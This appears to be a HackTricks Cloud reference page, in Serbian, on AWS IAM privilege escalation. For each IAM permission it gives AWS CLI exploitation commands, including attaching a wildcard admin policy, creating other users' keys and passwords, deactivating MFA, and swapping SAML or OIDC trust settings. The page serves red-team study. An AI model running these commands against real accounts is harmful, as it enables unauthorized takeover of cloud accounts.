AWS - IAM Privesc
Reading time: 7 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
IAM
Za više informacija o IAM-u pogledajte:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Daje mogućnost kreiranja nove verzije IAM politike, zaobilazeći potrebu za iam:SetDefaultPolicyVersion
dozvolom korišćenjem --set-as-default
oznake. Ovo omogućava definisanje prilagođenih dozvola.
Eksploataciona komanda:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Uticaj: Direktno povećava privilegije omogućavajući bilo koju akciju na bilo kojem resursu.
iam:SetDefaultPolicyVersion
Omogućava promenu podrazumevane verzije IAM politike na drugu postojeću verziju, potencijalno povećavajući privilegije ako nova verzija ima više dozvola.
Bash Komanda:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Uticaj: Indirektno povećanje privilegija omogućavanjem više dozvola.
iam:CreateAccessKey
Omogućava kreiranje ID ključa za pristup i tajnog ključa za pristup za drugog korisnika, što može dovesti do potencijalnog povećanja privilegija.
Eksploatacija:
aws iam create-access-key --user-name <target_user>
Uticaj: Direktno povećanje privilegija preuzimanjem proširenih dozvola drugog korisnika.
iam:CreateLoginProfile
| iam:UpdateLoginProfile
Omogućava kreiranje ili ažuriranje profila za prijavu, uključujući postavljanje lozinki za prijavu na AWS konzolu, što dovodi do direktnog povećanja privilegija.
Eksploatacija za kreiranje:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Eksploatacija za ažuriranje:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Uticaj: Direktno povećanje privilegija prijavljivanjem kao "bilo koji" korisnik.
iam:UpdateAccessKey
Omogućava aktiviranje onemogućenog pristupnog ključa, što može dovesti do neovlašćenog pristupa ako napadač poseduje onemogućeni ključ.
Eksploatacija:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Uticaj: Direktno povećanje privilegija ponovnim aktiviranjem pristupnih ključeva.
iam:CreateServiceSpecificCredential
| iam:ResetServiceSpecificCredential
Omogućava generisanje ili resetovanje kredencijala za specifične AWS usluge (npr., CodeCommit, Amazon Keyspaces), nasleđujući dozvole povezanog korisnika.
Eksploatacija za Kreiranje:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Eksploatacija za resetovanje:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Uticaj: Direktno eskaliranje privilegija unutar dozvola usluge korisnika.
iam:AttachUserPolicy
|| iam:AttachGroupPolicy
Omogućava pridruživanje politika korisnicima ili grupama, direktno eskalirajući privilegije nasleđivanjem dozvola pridružene politike.
Eksploatacija za korisnika:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Eksploatacija za Grupu:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Uticaj: Direktno povećanje privilegija na sve što politika omogućava.
iam:AttachRolePolicy
, ( sts:AssumeRole
|iam:createrole
) | iam:PutUserPolicy
| iam:PutGroupPolicy
| iam:PutRolePolicy
Omogućava pridruživanje ili postavljanje politika na uloge, korisnike ili grupe, omogućavajući direktno povećanje privilegija dodeljivanjem dodatnih dozvola.
Iskorišćavanje za Ulogu:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Eksploatacija za Inline Politike:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Možete koristiti politiku kao:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Uticaj: Direktno eskaliranje privilegija dodavanjem dozvola putem politika.
iam:AddUserToGroup
Omogućava dodavanje sebe u IAM grupu, eskalirajući privilegije nasleđivanjem dozvola grupe.
Eksploatacija:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Uticaj: Direktno povećanje privilegija na nivo dozvola grupe.
iam:UpdateAssumeRolePolicy
Omogućava izmenu dokumenta politike pretpostavljanja uloge, omogućavajući preuzimanje uloge i njenih povezanih dozvola.
Eksploatacija:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Gde politika izgleda ovako, što korisniku daje dozvolu da preuzme ulogu:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Uticaj: Direktno povećanje privilegija preuzimanjem dozvola bilo koje uloge.
iam:UploadSSHPublicKey
|| iam:DeactivateMFADevice
Omogućava učitavanje SSH javnog ključa za autentifikaciju na CodeCommit i deaktiviranje MFA uređaja, što može dovesti do potencijalnog indirektnog povećanja privilegija.
Eksploatacija za učitavanje SSH ključa:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Eksploatacija za deaktivaciju MFA:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Uticaj: Indirektno eskaliranje privilegija omogućavanjem pristupa CodeCommit-u ili onemogućavanjem MFA zaštite.
iam:ResyncMFADevice
Omogućava resinkronizaciju MFA uređaja, što može dovesti do indirektnog eskaliranja privilegija manipulacijom MFA zaštite.
Bash komanda:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Uticaj: Indirektno eskaliranje privilegija dodavanjem ili manipulisanjem MFA uređaja.
iam:UpdateSAMLProvider
, iam:ListSAMLProviders
, (iam:GetSAMLProvider
)
Sa ovim dozvolama možete promeniti XML metapodatke SAML veze. Tada biste mogli zloupotrebiti SAML federaciju da se prijavite sa bilo kojom ulogom koja joj veruje.
Imajte na umu da će legitimni korisnici moći da se prijave. Međutim, mogli biste dobiti XML, tako da možete staviti svoj, prijaviti se i konfigurisati prethodni.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
note
TODO: Alat sposoban za generisanje SAML metapodataka i prijavu sa određenom ulogom
iam:UpdateOpenIDConnectProviderThumbprint
, iam:ListOpenIDConnectProviders
, (iam:
GetOpenIDConnectProvider
)
(Nesigurno u vezi s tim) Ako napadač ima ove dozvole, mogao bi dodati novi Thumbprint kako bi uspeo da se prijavi u sve uloge koje veruju provajderu.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.